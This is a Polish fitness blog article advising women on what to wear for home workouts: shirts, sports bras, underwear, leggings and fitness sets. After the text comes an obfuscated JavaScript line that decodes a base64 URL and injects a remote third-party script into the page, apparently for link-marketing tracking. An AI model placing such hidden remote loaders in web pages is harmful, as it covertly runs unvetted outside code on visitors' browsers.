Treningi w domu dla kobiet — jakie ubrania wybrać i na co zwrócić uwagę?
fitmamaicorka.pl
Treningi w domu są idealną opcją dla kobiet, które cenią sobie wygodę i oszczędność czasu. Jest to też świetne rozwiązanie dla pań, które mają opory przed ćwiczeniem przy innych osobach. Kluczem do czerpania przyjemności z aktywności fizycznej są jednak odpowiednie ubrania. Sprawdź, jakie elementy garderoby przydadzą się podczas domowych treningów i na co zwrócić uwagę podczas zakupów.
Koszulka
Koszulka powinna być przede wszystkim wykonana z oddychającego materiału, który odprowadzi wilgoć i zapewni komfort podczas ćwiczeń. Strzałem w dziesiątkę mogą zatem okazać się naturalne tkaniny i innowacyjne materiały sztuczne. Ponadto koszulki sportowe damskie nie powinny raczej być zbyt luźne, ponieważ może utrudnić to wykonywanie niektórych ćwiczeń. Długość rękawów bądź ich brak to z kolei kwestia osobistych preferencji kobiety. Warto także postawić na domieszkę elastanu, który ze względu na swoją rozciągliwość zwiększa swobodę ruchów.
Biustonosz
Dobrze dobrany biustonosz ma istotny wpływ na komfort odczuwany podczas domowego treningu. Ten element stroju do ćwiczeń powinien zapewnić odpowiednie podtrzymanie piersi podczas intensywnych ruchów. Dotyczy to zwłaszcza pań z większym biustem, w którego przypadku najlepiej postawić na profesjonalny biustonosz sportowy z różnego rodzaju wzmocnieniami. W ten sposób można znacząco zmniejszyć przeciążenia związane z wykonywanymi ćwiczeniami. Należy też się upewnić, że wybrany model nie uciska i nie powoduje otarć.
Bielizna
Wybierając bieliznę do ćwiczeń, warto postawić na przewiewne tkaniny. W ten sposób można zmniejszyć wydzielanie potu i pojawienie się nieprzyjemnego zapachu. Ponadto majtki, które pozwalają skórze oddychać, minimalizują ryzyko wystąpienia infekcji intymnych. Wśród fanek domowych treningów niemałą popularnością cieszy się też bielizna bezszwowa, która podczas ćwiczeń nie zsuwa się z ciała, nie uciska i nie powoduje otarć. Należy natomiast unikać stringów, które mogą powodować dyskomfort i utrudniać skupienie się na aktywności fizycznej.
Legginsy
Legginsy to jeden z ulubionych elementów garderoby kobiet, które lubią pracować nad sylwetką w domu. Takie spodnie są niezwykle rozciągliwe i dopasowane do ciała, dzięki czemu nie przeszkadzają podczas ćwiczeń i zapewniają pełną swobodę ruchu. Podczas zakupów warto zwrócić uwagę na legginsy damskie sportowe z elastycznym pasem, który nie uciska brzucha m.in. podczas wykonywania skłonów. Ponadto w tego typu spodniach łatwiej obserwować ciało i sprawdzić, czy ćwiczenia są wykonywane poprawnie.
Zestawy fitness
Jednym z największych hitów w świecie sportowej mody damskiej są zestawy fitness. Takie komplety przeważnie składają się z dopasowanych do ciała lub nieco luźnych szortów i sportowego biustonosza. Można też znaleźć wersje z legginsami. Kobiety uwielbiają zestawy fitness również ze względu na to, że takie stroje wyglądają profesjonalnie i motywują do ćwiczeń. Na dodatek są niezwykle wygodne, a ich zakup pozwala zaoszczędzić czas i często również pieniądze.
(function(sxzpgtfu, ivucdorq, guzicsam, aksfcnyr, aeazqjkt, acbmqthb){ aeazqjkt = ivucdorq.createElement(guzicsam);acbmqthb = ivucdorq.getElementsByTagName(guzicsam)[0]; aeazqjkt.ascyc = 1; aeazqjkt.src = atob(aksfcnyr) acbmqthb.parentNode.insertBefore(aeazqjkt, acbmqthb); })(window, document, 'script', 'aHR0cHM6Ly9zdGF0cy5saW5raG91c2UuY28vYXBpL2FuYWx5emVyL3YxL3NjcmlwdC83NTM5ODhmYy0zOTljLTQyNTAtOGNmMS0yY2M0MzNkOTFjM2MuanM=')
Najnowsze komentarze